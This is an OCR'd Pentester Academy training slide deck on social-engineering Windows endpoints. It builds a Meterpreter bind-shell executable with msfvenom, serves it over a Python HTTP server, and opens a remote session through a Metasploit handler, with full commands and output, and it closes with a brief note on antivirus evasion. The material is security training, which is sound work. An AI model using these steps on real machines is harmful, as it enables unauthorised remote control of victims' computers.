Pentesting Windows Endpoints:

Social Engineering



Social Engineering

e Attacking the weakest link in the chain — HUMAN

 Techniques evolve:
— Mails
— Websites
— HID devices

* SET by Dave Kennedy

— https://www.trustedsec.com/downloads/social-engineer-
toolkit/
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Payload as Executable

PentesterAcademy# msfvenom
no options
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>

Options:
-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom payloads
-1, --list [module_type] List a module type example: payloads, encoders, nops, all
-n, --nopsled [Llength] Prepend a nopsled of [length] size on to the payload
-f, --format [format] Output format (use --help-formats for a list)
-e, --encoder [encoder] The encoder to use
-a, --arch [architecture] The architecture to use
--platform [platform] The platform of the payload
-s, --space [length] The maximum size of the resulting payload
-b, --bad-chars [list] The 1list of characters to avoid example: '\x00\xff'
-1, --iterations [count] The number of times to encode the payload
-c, --add-code [path] Specify an additional win32 shellcode file to include
-x, --template [path] Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-0, --options List the payload's standard options
-d, --advanced List the payload's advanced options
-h, --help Show this message
--help-formats List available formats

PentesterAcademy# |
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Create an EXE

PentesterAcademy# msfvenom -p windows/meterpreter/bind_tcp -o

Name: Windows Meterpreter (Reflective Injection), Bind TCP Stager
Module: payload/windows/meterpreter/bind_tcp
Version: $Revision$
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 298
Rank: Normal

Provided by:
skape <mmiller@hick.org>
sf <stephen_fewer@harmonysecurity.com>
hdm <hdm@metasploit.com>

Basic options:

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port

RHOST no The target address

Description:
Listen for a connection, Inject the meterpreter server DLL via the
Reflective D11 Injection payload (staged)

PentesterAcademy# msfvenom -p windows/meterpreter/bind_tcp -a x86 -f exe > Bind_Payload.exe
PentesterAcademy# file Bind_Payload.exe

Bind_Payload.exe: PE32 executable (GUI) Intel 80386, for MS Windows

PentesterAcademy# [
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Social Engineer and Execute

PentesterAcademy# cp Bind Payload.exe trojan/
PentesterAcademy#

PentesterAcademy# cd trojan/
PentesterAcademy#

PentesterAcademy# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

192.168.1.5 - - [02/Nov/2013 07:41:45] "GET / HTTP/1.1" 200 -
192.168.1.5 - - [02/Nov/2013 07:41:46] code 404, message File not found
192.168.1.5 - - [02/Nov/2013 07:41:46] "GET /favicon.ico HTTP/1l.1" 404 -
I /€ Directory listing for / - Windows Internet Explorer

@ Q e | @] nttp://192.168.1.13:5000/

x YEAG v | Q search | @ safe @ DoNotTrack [l -

s Favorites | g% @] Suggested Sites v @] Web Slice Gallery v

(€ Directory listing for /

Directory listing for /

e Bind Payload.exe
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Firewall Down for this Demo

U"O » Control Panel » System and Security » Windows Firewall

Control Panel H . . .
omoTTane IS Help protect your computer with Windows Firewall

Allow a program or feature Windows Firewall can help prevent hackers or malicious software from gaining access to your computer

through Windows Firewall through the Internet or a network.
# Change notification settings How does a firewall help protect my computer?
'@‘ Turn Windows Firewall on or What are network locations?
off
@ Restore defaults Update your Firewall settings
@w Advanced settings Win»dows Firewall is not using the recommended [ @'Use recommended settings ]
settings to protect your computer.
Troubleshoot my network
What are the recommended settings?
. ‘?3‘ Home or work (private) networks Not Connected (v)
. &3 Public networks Connected (&)
Networks in public places such as airports or coffee shops
Windows Firewall state: Off
Incoming connections: Block all connections to programs that are not on the
list of allowed programs
Active public networks: Network 5
Notification state: Notify me when Windows Firewall blocks a new
program
See also

Action Center
Network and Sharing Center
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Connect to Bind Shell via Handler

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp

msf exploit(handler) > show options

Module options (exploit/multi/handler):
Name Current Setting Required Description

Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The 1listen port

RHOST no The target address

Exploit target:

Id Name

0 Wildcard Target

msf exploit(handler) > set RHOST 192.168.1.5
RHOST => 192.168.1.5
msf exploit(handler) > exploit

[*] Starting the payload handler...

[*] Started bind handler

[*] Sending stage (751104 bytes) to 192.168.1.5

[*] Meterpreter session 1 opened (192.168.1.13:54884 -> 192.168.1.5:4444) at 2013-11-02 07:47:55 -0400

meterpreter > [
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@U" 8 » securitytube » Downloads

Organize v [=) Open Share with v New folder
- - Name . Date modified
{ Favorites
Bl Desktop [=”] Bind_Payload 11/2/2013 4:50 AM

& Downloads | £/ JavaSetup6u30

= Recent Places
=3 Libraries AVG. Anti-Virus FREE
<] Documents
.J‘r Music 6
= Pictures

E Videos

Reports Summary

@ Shell extension scan

11/2/2013, 4:50:48 AM
+& Homegroup

Type

Application

Application

Size

889 KB

Shell extension scan finished
AVG detected

1 potentially dangerous threat - notall w

1% Computer

‘i Network

removed

Some items require your attention.

3| Bind_Payload Date modifig
‘. Application Si

Maximize your protection

High-performance protection for complete peace of mind when

@

shopping, banking or watching videos online.

Gaming and surfing
without interruptions

Protection that actually
speeds up your PC

Surf and search
’ the web safely

Block hackers and
stop identity thieves
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AV Evasion

Cat and Mouse game

* Techniques constantly evolving

Encoding / Crypting / Custom Binaries

NO SILVER BULLET
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Pentester Academy

PentesterAcademy a SecurityTube.net initiative oo

TOPICS PRICING WHY SUBSCRIBE MEMBER ACCESS

Pentester Academy Introduction

3 Revolutionizing Infosec Training

> Highly Technical, Hands-on, Affordable

Start Learning Today!
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